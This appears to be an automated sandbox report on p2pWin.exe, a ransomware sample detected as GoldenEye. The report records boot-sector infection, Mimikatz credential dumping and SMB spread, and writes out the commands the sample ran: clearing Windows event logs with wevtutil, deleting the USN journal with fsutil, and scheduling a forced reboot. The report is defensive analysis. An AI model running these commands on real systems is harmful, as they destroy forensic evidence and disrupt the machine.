Source: p2pWin.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: p2pWin.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: p2pWin.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: p2pWin.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: p2pWin.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: p2pWin.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: p2pWin.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: c:\src\Pstools\psexec\SVC\Release\psexesvc.pdb x source: dllhost.dat.1.dr
Source:	Binary string: c:\src\Pstools\psexec\SVC\Release\psexesvc.pdb source: dllhost.dat.1.dr
Source:	Binary string: lsasrv.pdb source: F2CD.tmp, 00000004.00000003.1635517667.000000000282C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lsasrv.pdbUGP source: F2CD.tmp, 00000004.00000003.1635517667.000000000282C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\src\Pstools\psexec\EXE\Release\psexec.pdb source: dllhost.dat.1.dr
Source:	Binary string: C:\Zeus \PC\documents\visual studio 2010\Projects\Keygroup\Release\Keygroup.pdb source: p2pWin.exe

Source: p2pWin.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: p2pWin.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: p2pWin.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: p2pWin.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: p2pWin.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

1_2_02E58677

Source: C:\Users\user\Desktop\p2pWin.exe

Code function: 0_2_000325C5 push ecx; ret

0_2_000325D8

Source: C:\Users\user\Desktop\p2pWin.exe

Code function: 0_2_0003318B LoadLibraryW,GetProcAddress,GetProcAddress,EncodePointer,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_0003318B

Source: p2pWin.exe

Static PE information: real checksum: 0x6ab82 should be: 0x6f87c

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\7-Zip\7zFM.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\7-Zip\7z.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\7-Zip\7zG.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Common Files\microsoft shared\ClickToRun\InspectorOfficeGadget.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Microsoft Office 15\ClientX64\IntegratedOffice.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	System file mapped for write: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior

Writes directly to the primary disk partition (DR0)

Source: C:\Windows\SysWOW64\rundll32.exe

File written: \Device\Harddisk0\DR0 offset: 5120 length: 5120

Contains functionality to infect the boot sector

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: CreateFileA,DeviceIoControl,DeviceIoControl,LocalAlloc,DeviceIoControl,WriteFile,LocalFree,FindCloseChangeNotification, \\.\PhysicalDrive0		1_2_02E58CBF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: memset,memset,memset,GetSystemDirectoryA,GetLastError,CreateFileA,DeviceIoControl,GetLastError,_itoa,memcpy,memcpy,CloseHandle, \\.\PhysicalDrive		1_2_02E51038

Infects the VBR (Volume Boot Record) of the hard disk

Source: C:\Windows\SysWOW64\rundll32.exe

File written: C: offset: 512

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Windows\dllhost.dat

Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Windows\dllhost.dat

Jump to dropped file

Boot Survival

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Create /SC once /TN "" /TR "C:\Windows\system32\shutdown.exe /r /f" /ST 20:15

Contains functionality to infect the boot sector

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: CreateFileA,DeviceIoControl,DeviceIoControl,LocalAlloc,DeviceIoControl,WriteFile,LocalFree,FindCloseChangeNotification, \\.\PhysicalDrive0		1_2_02E58CBF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: memset,memset,memset,GetSystemDirectoryA,GetLastError,CreateFileA,DeviceIoControl,GetLastError,_itoa,memcpy,memcpy,CloseHandle, \\.\PhysicalDrive		1_2_02E51038

Source: C:\Users\user\Desktop\p2pWin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_1-7341

Source: C:\Windows\SysWOW64\rundll32.exe TID: 6648	Thread sleep time: -1200000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 5408	Thread sleep time: -2700000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 5408	Thread sleep time: -900000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\F2CD.tmp	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_4-3589
Source: C:\Users\user\Desktop\p2pWin.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep			graph_0-2673

Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 1200000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 2700000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 900000	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_1-6006

Source: C:\Windows\SysWOW64\rundll32.exe

Dropped PE file which has not been started: C:\Windows\dllhost.dat

Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: memset,memset,GetAdaptersInfo,GetAdaptersInfo,LocalAlloc,GetAdaptersInfo,inet_addr,inet_addr,inet_addr,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,htonl,LocalAlloc,inet_addr,htonl,htonl,CreateThread,CloseHandle,LocalFree,	1_2_02E58E7F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetAdaptersInfo,NetServerGetInfo,NetApiBufferFree,	1_2_02E58243
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetAdaptersInfo,GetComputerNameExW,DhcpEnumSubnets,DhcpGetSubnetInfo,DhcpEnumSubnetClients,htonl,htonl,htonl,inet_ntoa,GetProcessHeap,HeapFree,DhcpRpcFreeMemory,DhcpRpcFreeMemory,	1_2_02E5908A

Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 1200000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 2700000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 900000	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_1-5828
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_1-5889
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_1-5761
Source: C:\Users\user\AppData\Local\Temp\F2CD.tmp	API call chain: ExitProcess graph end node	graph_4-3591

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Source: rundll32.exe, 00000001.00000002.1670751144.0000000004D61000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000001.00000002.1670184712.0000000002CCA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000001.00000002.1670751144.0000000004D61000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWrB

Source: C:\Users\user\AppData\Local\Temp\F2CD.tmp

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 1_2_02E51973 PathCombineW,FindFirstFileW,StrStrIW,WaitForSingleObject,PathCombineW,StrStrIW,PathFindExtensionW,wsprintfW,StrStrIW,FindNextFileW,FindClose,

1_2_02E51973

Source: C:\Users\user\Desktop\p2pWin.exe

0_2_0003318B

Source: C:\Users\user\Desktop\p2pWin.exe

Code function: 0_2_00032C3B _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00032C3B

Source: C:\Users\user\Desktop\p2pWin.exe

Code function: 0_2_00031000 GetProcessHeap,GetProcessHeap,HeapAlloc,HeapAlloc,ExpandEnvironmentStringsA,GetProcessHeap,HeapAlloc,GetFullPathNameA,GetProcessHeap,HeapFree,

0_2_00031000

Source: C:\Users\user\AppData\Local\Temp\F2CD.tmp

Process token adjusted: Debug

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 1_2_02E5A2E8 htonl,memset,socket,htons,ioctlsocket,LdrInitializeThunk,connect,select,__WSAFDIsSet,closesocket,

1_2_02E5A2E8

Source: C:\Users\user\Desktop\p2pWin.exe	Code function: 0_2_00032C3B _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00032C3B
Source: C:\Users\user\Desktop\p2pWin.exe	Code function: 0_2_000310E6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_000310E6
Source: C:\Users\user\AppData\Local\Temp\F2CD.tmp	Code function: 4_2_00007FF72E9055B8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FF72E9055B8
Source: C:\Users\user\AppData\Local\Temp\F2CD.tmp	Code function: 4_2_00007FF72E905874 SetUnhandledExceptionFilter,	4_2_00007FF72E905874
Source: C:\Users\user\AppData\Local\Temp\F2CD.tmp	Code function: 4_2_00007FF72E907270 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00007FF72E907270

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 192.168.2.0 139	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 192.168.2.1 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 173.222.162.32 445	Jump to behavior

Source: C:\Users\user\Desktop\p2pWin.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Windows\dllcm.dat #1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Create /SC once /TN "" /TR "C:\Windows\system32\shutdown.exe /r /f" /ST 20:15	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wevtutil.exe wevtutil cl Setup	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wevtutil.exe wevtutil cl System	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wevtutil.exe wevtutil cl Security	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wevtutil.exe wevtutil cl Application	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\fsutil.exe fsutil usn deletejournal /D C:	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 1_2_02E573FD GetProcessHeap,GetProcessHeap,HeapAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,ConnectNamedPipe,PeekNamedPipe,Sleep,GetProcessHeap,HeapAlloc,ReadFile,StrChrW,GetProcessHeap,HeapFree,FlushFileBuffers,DisconnectNamedPipe,CloseHandle,

1_2_02E573FD

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Contains functionality to dump credential hashes (LSA Dump)

Source: C:\Users\user\Desktop\p2pWin.exe

Code function: 0_2_0003276F GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_0003276F

Source: C:\Windows\SysWOW64\rundll32.exe

1_2_02E573FD

Source: C:\Windows\SysWOW64\rundll32.exe

1_2_02E57DEB

Stealing of Sensitive Information

Yara detected Mimikatz

Source: Yara match	File source: 4.0.F2CD.tmp.7ff72e900000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.F2CD.tmp.7ff72e900000.0.unpack, type: UNPACKEDPE

Source: C:\Users\user\AppData\Local\Temp\F2CD.tmp

Code function: 4_2_00007FF72E902610 GetModuleHandleW,GetProcAddress,RtlInitUnicodeString,GetProcAddress,GetProcAddress,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,

4_2_00007FF72E902610

Source: Yara match

File source: C:\Windows\dllhost.dat, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
1 Valid Accounts	2 Windows Management Instrumentation	1 Valid Accounts	1 Valid Accounts	1 Obfuscated Files or Information	1 OS Credential Dumping	1 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 Data Encrypted for Impact	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	3 Native API	1 Scheduled Task/Job	11 Access Token Manipulation	1 File Deletion	LSASS Memory	3 File and Directory Discovery	11 Exploitation of Remote Services	Data from Removable Media	Exfiltration Over Bluetooth	22 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	11 System Shutdown/Reboot	Domains	Credentials
Domain Accounts	2 Command and Scripting Interpreter	4 Bootkit	112 Process Injection	2 Masquerading	Security Account Manager	4 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Standard Port			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	1 Valid Accounts	NTDS	1 Network Share Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	1 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	1 Service Execution	Network Logon Script	Network Logon Script	21 Virtualization/Sandbox Evasion	LSA Secrets	21 Security Software Discovery	SSH	Keylogging	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Access Token Manipulation	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	112 Process Injection	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	4 Bootkit	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Rundll32	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology
Supply Chain Compromise	PowerShell	Cron	Cron	2 Indicator Removal	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	File Transfer Protocols			External Defacement	Compromise Infrastructure	IP Addresses

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
p2pWin.exe	59%	ReversingLabs	Win32.Ransomware.GoldenEye
p2pWin.exe	100%	Avira	HEUR/AGEN.1316511
p2pWin.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\dllhost.dat	2%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://192.168.2.1/	0%	Avira URL Cloud	safe
http://192.168.2.1:80/	0%	Avira URL Cloud	safe
http://192.168.2.1/#=	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://192.168.2.1/#=	rundll32.exe, 00000001.00000002.1670184712.0000000002CCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.168.2.1:80/	rundll32.exe, 00000001.00000002.1670751144.0000000004D52000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.168.2.1/	rundll32.exe, 00000001.00000002.1670184712.0000000002CCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
173.222.162.32	unknown	United States		35994	AKAMAI-ASUS	true

Private

IP
192.168.2.0
192.168.2.1

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1346554
Start date and time:	2023-11-22 19:11:22 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:
Sample file name:	p2pWin.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.evad.winEXE@24/63@0/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 71 Number of non-executed functions: 74
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Connection to analysis system has been lost, crash info: Unknown
Excluded IPs from analysis (whitelisted): 72.21.81.240
Excluded domains from analysis (whitelisted): ocsp.digicert.com, wu.ec.azureedge.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, ocsp.edge.digicert.com, hlb.apr-52dd2-0.edgecastdns.net, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, wu.azureedge.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: p2pWin.exe

Simulations

Behavior and APIs

Time	Type	Description
19:12:08	API Interceptor	3x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fp2e7a.wpc.phicdn.net	AntiRecuvaAndDB.exe	Get hash	malicious	Phobos	Browse	192.229.211.108
	eJQX7qdYIS.exe	Get hash	malicious	RedLine, zgRAT	Browse	192.229.211.108
	SCO24.pif.exe	Get hash	malicious	zgRAT	Browse	192.229.211.108
	file.exe	Get hash	malicious	RedLine, SectopRAT	Browse	192.229.211.108
	file.exe	Get hash	malicious	RedLine	Browse	192.229.211.108
	Anna_Maria.exe	Get hash	malicious	Unknown	Browse	192.229.211.108
	INVOICE.exe	Get hash	malicious	Remcos, AgentTesla, AsyncRAT, Clipboard Hijacker	Browse	192.229.211.108
	file.exe	Get hash	malicious	Phonk Miner	Browse	192.229.211.108
	SWIFT.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	192.229.211.108
	SOA_settlement_order_remittance_invoice_19_11_20230000000000000000000000000_2023.vbs	Get hash	malicious	GuLoader	Browse	192.229.211.108
	PO-230270.exe	Get hash	malicious	FormBook	Browse	192.229.211.108
